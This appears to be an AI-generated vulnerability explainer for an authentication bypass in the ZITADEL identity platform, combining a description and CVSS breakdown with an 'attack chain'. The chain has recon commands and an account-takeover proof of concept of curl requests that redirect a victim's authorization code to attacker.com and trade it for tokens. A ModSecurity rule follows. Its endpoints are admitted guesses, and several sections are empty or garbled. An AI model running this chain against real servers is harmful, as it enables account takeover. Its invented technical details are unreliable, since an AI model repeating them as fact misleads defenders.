CVE-2026-140412 — Zitadel (4.20.3) — CWE-287
ZITADEL 4.0.0 before 4.20.3 completes OIDC and SAML authorization requests without requiring a login client holding session.link to verify the session, allowing completion with unauthenticated sessions. Unauthenticated attackers knowing a victim's login name can obtain tokens via Login V2, and authenticated users can spoof x-zitadel-login-client on CreateCallback and CreateResponse, enabling account takeover.
ZITADEL 4.0.0 before 4.20.3 completes OIDC and SAML authorization requests without requiring a login client holding session.link to verify the session, allowing completion with unauthenticated sessions. Unauthenticated attackers knowing a victim's login name can obtain tokens via Login V2, and authenticated users can spoof x-zitadel-login-client on CreateCallback and CreateResponse, enabling account takeover.
🎯 What is this vulnerability?
CVE-2026-140412 is a critical Broken Authentication (CWE-287) vulnerability in ZITADEL, an open-source identity and access management (IAM) platform. The core technical flaw lies in the missing server-side validation of the session context during the completion of OpenID Connect (OIDC) and SAML authorization flows.
Specifically, ZITADEL versions prior to 4.20.3 fail to verify that the session.link cookie (or equivalent session identifier) belongs to a valid, authenticated login client before processing the final callback or response steps of the authentication flow. This allows an attacker to:
1. Unauthenticated Attack: Bypass the login requirement entirely by crafting a request that completes the OIDC/SAML flow using a victim's known login name, resulting in the issuance of valid ID tokens and access tokens for that victim.
2. Authenticated Spoofing: An authenticated user can manipulate the x-zitadel-login-client header in CreateCallback and CreateResponse endpoints to impersonate a different login client or session, leading to account takeover.
The CVSS vector AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N reflects:
- Network Vector (AV:N): Exploitable remotely.
- High Complexity (AC:H): Requires knowledge of the victim's login name and precise manipulation of OIDC/SAML flow parameters.
- No Privileges Required (PR:N): The unauthenticated variant does not require prior access.
- No User Interaction (UI:N): The victim does not need to click a link or perform an action.
- High Confidentiality/Integrity Impact (C:H/I:H): Full access to the victim's identity and associated resources.
- No Availability Impact (A:N): The service remains operational.
- Fingerprinting: Identify ZITADEL instances via common default ports (e.g., 8080, 443) and headers. ZITADEL often exposes
/healthzor/versionendpoints. - Version Check: Confirm the version is < 4.20.3. This can be done via: *
- Target Identification: Obtain a valid login name (e.g.,
[email protected]) through OSINT, email enumeration, or prior data breaches.
⚡ Attack Chain
1. Discovery & Reconnaissance
curl -s https://target.com/version | jq .version
* Checking the Server header or metadata in the OIDC discovery document (/.well-known/openid-configuration).
2. Exploitation
The attack exploits the OIDC Authorization Code Flow. The attacker initiates a flow, skips the actual login step, and directly calls the callback endpoint with a forged session context.Illustrative PoC (Unauthenticated Account Takeover):
Note: The exact endpoint paths and parameter names are illustrative based on standard OIDC implementations and the CVE description. Verify against the specific ZITADEL version's API documentation.
# Step 1: Initiate OIDC Authorization Request
# This returns a 'state' and 'session.link' cookie (which we will ignore/forg)
curl -v "https://target.com/oauth/v2/authorize?client_id=webapp&response_type=code&scope=openid&redirect_uri=https://attacker.com/callback&state=abc123" \
-c cookies.txt
# Step 2: Forge the Callback Request
# The attacker sends a request to the callback endpoint, simulating a successful login.
# Key: The 'session.link' cookie is either missing or forged, but the server fails to validate it against an active login session.
# The 'code' parameter is a valid authorization code generated in Step 1 (or a known valid code if the flow is stateless).
# The 'x-zitadel-login-client' header is set to a valid client ID.
curl -X POST "https://target.com/oauth/v2/callback" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "x-zitadel-login-client: webapp" \
-b "session.link=forged_session_id" \
-d "code=valid_auth_code_from_step1&state=abc123" \
-vSuccess Indicator: The response contains a Location header redirecting to https://attacker.com/callback?code=...&state=abc123. The attacker then exchanges this code for tokens:
# Step 3: Exchange Authorization Code for Tokens
curl -X POST "https://target.com/oauth/v2/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=authorization_code&code=code_from_redirect&redirect_uri=https://attacker.com/callback&client_id=webapp&client_secret=webapp_secret"The response will contain access_token, id_token, and refresh_token for the victim's account.
3. Post-Exploitation
access_token to access the victim's resources via the ZITADEL API or any downstream application trusting ZITADEL's tokens.🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
2. Workarounds (If Upgrade is Not Immediately Possible)
3. Detection (IoCs)
/oauth/v2/callback or /saml/acs that do not have a corresponding prior request to /oauth/v2/authorize or /saml/sso from the same IP/session.x-zitadel-login-client header that do not match the expected client ID for the session.SecRule REQUEST_URI "@rx ^/oauth/v2/callback" \
"id:100001,phase:1,deny,status:403,msg:'Potential OIDC Callback Spoofing',log,severity:2"Note: This rule is overly broad and may cause false positives. It should be refined to check for missing or invalid session.link cookies in conjunction with the callback request.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query